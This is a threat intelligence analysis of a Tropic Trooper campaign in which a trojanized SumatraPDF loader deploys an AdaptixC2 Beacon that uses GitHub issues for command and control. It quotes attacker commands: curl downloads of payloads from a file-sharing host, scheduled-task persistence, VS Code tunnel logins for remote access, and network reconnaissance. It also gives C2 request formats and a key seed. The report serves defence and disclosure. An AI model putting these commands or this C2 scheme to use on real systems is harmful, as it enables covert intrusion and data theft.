Technical Analysis

In the sections below, ThreatLabz outlines the attack chain, starting with military-themed lures and leading to the deployment of the AdaptixC2 Beacon agent. We also discuss the use of a custom GitHub listener and the recurring TTP of abusing VS Code for remote access.

Attack chain

The full sequence of the attack is illustrated in the figure below.

Figure 1: Tropic Trooper attack chain leading to the deployment of an AdaptixC2 Beacon and VS Code tunnels.

The ZIP archive contained documents with the following names roughly translated to English:

Table 1: The table lists the files found inside the ZIP archive, showing each original Chinese filename alongside its approximate English translation.

Most of these files appear outdated. The document that appears to be the most recent, Comparative Analysis of US-UK and US-Australia Nuclear Submarine Cooperation (2025).exe, is actually a trojanized version of the SumatraPDF reader binary. When executed, this loader triggers a multi-stage attack: it downloads and displays a new decoy PDF that is shown to the victim while discreetly downloading and running an AdaptixC2 Beacon agent in the background.

The downloaded lure PDF aligns with its file name, featuring analysis and visuals concerning American submarines and the AUKUS partnership (a security partnership between Australia, the U.K., and the U.S). The figure below illustrates the contents of the downloaded lure PDF.

Figure 2: Tropic Trooper PDF lure containing information about the AUKUS partnership and American submarines.

Stage 1 - TOSHIS loader (backdoored SumatraPDF)

The trojanized executable resembles the open-source SumatraPDF reader at first glance, featuring identical certificates and PDB paths to those of the legitimate SumatraPDF executable. However, the signature of this binary is invalid because it has been trojanized with TOSHIS loader. Analysis shows the threat actor hijacks the executable’s control flow by redirecting the _security_init_cookie function to execute malicious code. Compared to earlier TOSHIS loader samples, where the entry point was modified to jump to the payload, this version uses a revised trojanization method that executes by overwriting _security_init_cookie instead.

Figure 3: Comparison of the entry points in the trojanized and legitimate SumatraPDF versions.

The InjectedCode function redirects to TOSHIS loader code. The function begins by constructing stack strings, which include the command-and-control (C2) IP address, the destination path for the lure file, DLL names, and a cryptographic key. Next, TOSHIS loader resolves various APIs using the Adler-32 hash algorithm. Subsequently, TOSHIS loader downloads the PDF decoy from 58.247.193[.]100 and opens it using ShellExecuteW. TOSHIS loader then retrieves a second-stage shellcode from the same IP address, decrypts it using AES-128 CBC with WinCrypt cryptographic functions, and executes the shellcode directly in-memory. This shellcode is an AdaptixC2 Beacon agent. This marks a departure from earlier TOSHIS versions, which delivered either a Cobalt Strike Beacon or a Merlin Mythic agent

ANALYST NOTE: The AES key is derived by using the Windows API function CryptDeriveKey with the MD5 hash of a hard-coded key seed "424986c3a4fddcb6". The initialization vector (IV) is set to 0.

An analysis of the InjectedCode function shows that it is largely identical to the TOSHIS loader described in TrendMicro's TAOTH report. The only notable differences are modifications to the stack strings and the removal of the language ID check. Although this sample resolves the GetSystemDefaultLangID API, the API is never actually invoked. Clear similarities can be observed between the injected code in these two samples, such as the use of the same User-Agent and a similar .dat file extension, as shown in the code examples below.

Figure 4: Code comparison of the TOSHIS loader in the backdoored SumatraPDF sample and the TOSHIS loader described in the TAOTH report.

Stage 2 - Backdoor: AdaptixC2 Beacon agent integrated with GitHub

The second-stage backdoor employed in this attack is the open-source AdaptixC2 Beacon agent, which incorporates a customized Beacon Listener. The table below shows the extracted configuration:

The RC4 key in the config above is used to decrypt the encrypted parts of the config, as well as beacon heartbeats. Because the agent is open-source, our focus will be on the custom beacon listener component, which utilizes GitHub as its C2 server. The figure below shows the layout of the GitHub repository used for C2.

Figure 5: Layout of the Tropic Trooper GitHub repository used by an AdaptixC2 Beacon.

The figure below shows the details of GitHub issues used for C2.

Figure 6: Example of GitHub issues used by AdaptixC2.

The agent starts by generating a 16-bytes RC4 session key using RtlRandomEx(GetTickCount()) to encrypt all subsequent C2 traffic, which is a standard practice for an AdaptixC2 agent. However, this custom listener differs from the typical AdaptixC2 HTTP/TCP listeners because the server cannot identify the agent's external IP address since it is using GitHub. As a result, the agent retrieves its external IP address by sending a request to ipinfo.io. This external IP address is then included and sent back to the C2 with every beacon. The agent uses the following HTTP request to retrieve its external IP address from ipinfo.io.

GET /ip HTTP/1.1

User-Agent: curl/8.5.0  // Hardcoded user agent
Host: ipinfo.io
Cache-Control: no-cache

The agent then sends a beacon to the C2 by performing a POST request to GitHub Issue #1 to establish a session. The beacon follows the standard AdaptixC2 format, which contains the RC4 session key and a random 4-byte number used as an agent ID. These values are RC4 encrypted using the key in the agent’s config, Note that the agent ID is regenerated each time the agent is initialized. The agent uses this ID to identify and process commands specifically intended for it. The following figure shows the C2 workflow:

Figure 7: Diagram showing the C2 workflow.

After beaconing, the agent checks for tasks to be executed by making the following request:

GET /repos/cvaS23uchsahs/rss/issues?state=open HTTP/1.1

The API returns a JSON list of open issues, and the agent uses substring matching, rather than a full JSON parser, to extract the issue number, title, and body fields for each issue retrieved. Depending on the issue title, the agent uses varying logic to process the issue and extract the actual task, which is RC4 encrypted using the session key.

The agent processes the issue as follows:

1. If the title is “beat”: This is the heartbeat/beacon issue, and the agent skips it.

2. If the title starts with “upload” and ends with “.txt”: The agent finds the last “_” character in the title, expecting an 8-character hexadecimal agent ID embedded between the “_” character and the “.txt” extension. If this extracted ID matches the agent’s own ID, the agent continues on to process this issue. If the extracted ID does not match, the agent skips the issue. However, there are some unusual edge-cases. For example, the agent will process an issue if there is no “_” character in the title, or if there are less than 7 characters in the extracted ID.

   If the agent decides to process the issue, it constructs the 

   contents API URL

   . For example: /repos/{repo_owner}/{repo_name}/contents/upload/{agent_id}/{issue_title} or /repos/cvaS23uchsahs/rss/contents/upload/c64df0d5/upload_1773341382_c64df0d5.txt.

   The agent then retrieves the download URL from the response using substring matching again.

   The agent then downloads the file from the repository, decodes its Base64-encoded contents, and queues the task for processing.

3. If the title starts with “fileupload”: The agent extracts and Base64 decodes the “body” field, and queues the task for processing. This encrypted task  contains the file path that the agent should exfiltrate. Note that there is no agent ID check here, so all agents will attempt to execute this task.

4. If the title does not start with any of the 3 strings above: The agent decodes the Base64 title and queues it as a command for processing. Again, there is no agent ID check here, so all agents attempt to execute this task. 

The agent then proceeds to process all queued tasks. Each task in the queue is decrypted using the RC4 session key, and processed according to the standard AdaptixC2 agent procedure.

After processing the task, the agent prepares a response payload. The response consists of two parts: the encrypted beacon packet sent previously (RC4 encrypted with the key from the agent’s config), and the AdaptixC2 agent data packet encrypted with the session key. The entire buffer is Base64-encoded, and the agent uploads the buffer as a file to GitHub. If the buffer is larger than 30MB, it is uploaded in chunks of 30MB, with each 30MB chunk having an incremental part number. An example of an upload request is shown below.

PUT /repos/cvaS23uchsahs/rss/contents/download/fa302eb5/download_1773890673_part1.txt HTTP/1.1

// ...

Body: {"message":"upload","content":""}

Once the file is successfully uploaded, the agent adds a comment to the issue containing the command to which it is responding.The “|@@@|” string is used as a token to separate multiple file parts, as shown below.

POST /repos/cvaS23uchsahs/rss/issues/2/comments HTTP/1.1

// ...

Body: {"body":"fa302eb5|@@@|download_1773890673_part1.txt"}

Stage 3 - Operations and operational security

By monitoring the C2 communication flow through the GitHub repository, ThreatLabz noticed that beacons are deleted very quickly, often within 10 seconds of being uploaded. This rapid deletion is likely intended to destroy the session keys, preventing observers from decrypting the C2 messages.

During our observation of this campaign, ThreatLabz found that the threat actor primarily used the Adaptix agent as an initial foothold for reconnaissance and access. When a victim was deemed "interesting," the threat actor deployed VS Code and utilized VS Code tunnels for remote access. On some machines, the threat actor installed alternative, trojanized applications, possibly to better camouflage their activities among the applications the victim normally uses.

ThreatLabz observed the threat actor issuing the following commands:

• arp /a
• cd C:\Users\Public\Documents & code tunnel user login --provider github > z.txt
• code tunnel user login --provider github > z.txt
• curl -O http://bashupload[.]app/6e1lhc
• curl -kJL https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64 -o %localappdata%\microsoft\windows\Burn\v.zip
• curl -s 'ip.me?t=1&m=2'
• curl http://bashupload[.]app/zgel2a.bin -o v.zip & dir
• curl ip.me?t=1&m=2
• net view \\192.168.220.2
• schtasks /create /tn \MSDNSvc /sc hourly /mo 2 /tr C:\users\public\documents\dsn.exe /f /RL HIGHEST
• schtasks /create /tn \MicrosoftUDN /sc hourly /mo 2 /f /tr C:\Users\Public\Documents\MicrosoftCompilers.exe C:\Users\Public\Documents\2.library-ms
• tasklist | findstr /i note
• tasklist|findstr /i code.exe || code tunnel user login --provider github > z2.txt
• timeout 3 && schtasks /run /i /tn \MicrosoftUDN
• wmic process where processid=8528 get commandline

Further monitoring of the staging server, 158.247.193[.]100, revealed that it also hosted the EntryShell backdoor, a custom backdoor known to be used by Tropic Trooper. This sample of EntryShell used the same AES-128 ECB key (afkngaikfaf) as previously reported. Additionally, the staging server was also found to host the Cobalt Strike Beacon, marked with the watermark “520”, another known indicator of Tropic Trooper activity.